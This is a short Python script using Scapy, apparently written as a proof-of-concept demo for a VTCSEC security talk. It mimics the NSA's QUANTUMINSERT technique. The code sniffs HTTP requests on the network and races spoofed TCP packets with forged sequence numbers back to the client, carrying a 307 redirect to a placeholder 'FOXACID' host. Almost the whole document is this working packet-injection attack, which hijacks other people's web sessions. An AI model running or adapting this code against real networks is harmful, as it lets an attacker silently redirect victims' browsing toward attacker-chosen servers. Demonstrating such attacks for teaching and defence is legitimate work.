Ghetto QUANTUMINSERT with Scapy.

QUANTUMINSERT.py

FOXACID = 'www.openbsd.org'

def QUANTUMINSERT(p):
   p.show()
   if Raw in p and p['Raw'].load.startswith('GET /') and p['Raw'].load.endswith('\r\n\r\n'):
      ip = IP(flags='DF', src=p['IP'].dst, dst=p['IP'].src)
      tcp = TCP(sport=p['TCP'].dport, dport=p['TCP'].sport, flags='PA', seq=p['TCP'].ack, ack=p['TCP'].seq + len(p['Raw'].load))
      http = 'HTTP/1.1 307 Temporary Redirect\r\nLocation: http://'+FOXACID+'/\r\nConnection: close\r\n\r\n'
      out = ip / tcp / http
      print '[*OUT*]'
      out.show()
      print 'sending...'
      send(out)
   p

# TURMOIL?
suckers = sniff(filter='tcp port http and host not '+FOXACID, prn=QUANTUMINSERT)

# Warning: May cause infinite FIN/FIN-ACK loop, but gets the job done regardless.

If somebody wants to improve this to properly terminate the connection, then be my guest. It was written at 4am as a proof-of-concept demo for a VTCSEC talk the next day.